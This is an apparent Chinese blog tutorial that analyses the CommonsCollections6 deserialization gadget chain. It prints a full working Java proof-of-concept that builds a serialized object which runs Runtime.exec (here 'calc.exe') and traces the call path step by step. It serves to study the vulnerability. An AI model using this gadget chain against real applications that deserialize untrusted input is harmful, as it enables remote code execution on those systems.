CC6链分析与学习

CC6是commonscollections库中相对比较通用的利用链,因为其不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。

POC

先看POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
        import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CommonsCollections6 {  
    public static void main(String[] args) throws Exception {  
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[] { String.class,  
                        Class[].class }, new Object[] { "getRuntime",  
                        new Class[0] }),  
                new InvokerTransformer("invoke", new Class[] { Object.class,  
                        Object[].class }, new Object[] { null, new Object[0] }),  
                new InvokerTransformer("exec", new Class[] { String.class },  
                        new String[] { "calc.exe" }),  
                new ConstantTransformer(1),  
        };  
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);  
         
        Map innerMap = new HashMap();  
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);  
  
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");  
  
        Map expMap = new HashMap();  
        expMap.put(tme, "valuevalue");  
  
        outerMap.remove("keykey");  
  
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");  
        f.setAccessible(true);  
        f.set(transformerChain, transformers);  
   
        // 生成序列化字符串  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(expMap);  
        oos.close();  
  
        // 本地测试触发  
        System.out.println(barr);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));  
        Object o = (Object)ois.readObject();  
    }  
}

TiedMapEntry

因为在高版本中,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变了,新建了一个LinkedHashMap,后续所有操作都是基于这个map进行的,至此利用链断开了。

所以就得找其他调用LazyMap#get()的地方。ysoserial的作者找到了org.apache.commons.collections.keyvalue.TiedMapEntry,其hashCode方法调用了getValue方法,其getValue方法调用了this.map.get,从而进入到LazyMap#get()方法中。 关键代码:

1
2
3
4
5
6
7
8
9
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

public Object getValue() {  
    return this.map.get(this.key);  
}

TiedMapEntry 是 Apache Commons Collections 库提供的一个工具类,它实现了 java.util.Map.Entry 接口。它的值 (value) 并不是独立存储的,而是从其构造时传入的 Map 对象中根据键 (key) 动态获取的。也就是说,当你调用 TiedMapEntrygetValue() 方法时,它会去调用它所绑定的那个 Mapget(key) 方法来获取实际的值。TiedMapEntry 主要用于一些高级的集合操作或框架中,特别是当需要延迟加载值、保持与底层 Map 同步等的时候。

创建TiedMapEntry对象:

1
2
 public TiedMapEntry(java.util.Map map, java.lang.Object key)
 //第一个参数为map,第二个参数是key

分析调试

debug一步一步看: TiedMapEntry 被用作 HashMap 的键时,HashMap 在进行键值对添加的时候,会触发键对象的 hashCode() 方法。这里TiedMapEntryhashCode()会委托给它所绑定的那个 outerMap 中的 get(key) 方法来获取的值进行计算。

进入hashCode:

进入getValue:

当调用 TiedMapEntrygetValue() 方法时,它会去调用它所绑定的 LazyMapget() 方法来获取实际的值。

LazyMap#get()中,如果传入的key不存在,则会进入this.factory.transform获取key对应的值,然后加入到当前map中。而前面创建TiedMapEntry的时候,就创建了key为“keykey”,因此经过if判断之后不会进入this.factory.transform。为了成功进入this.factory.transform,后续操作是将“keykey”这个key从outerMap中移除即可。

利用链:

1
2
3
4
5
6
7
8
9
HashMap.readObject()
HashMap.hash()
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainedTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

这个利用链可以在Java 7和8的高版本触发,没有版本限制。

参考:

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行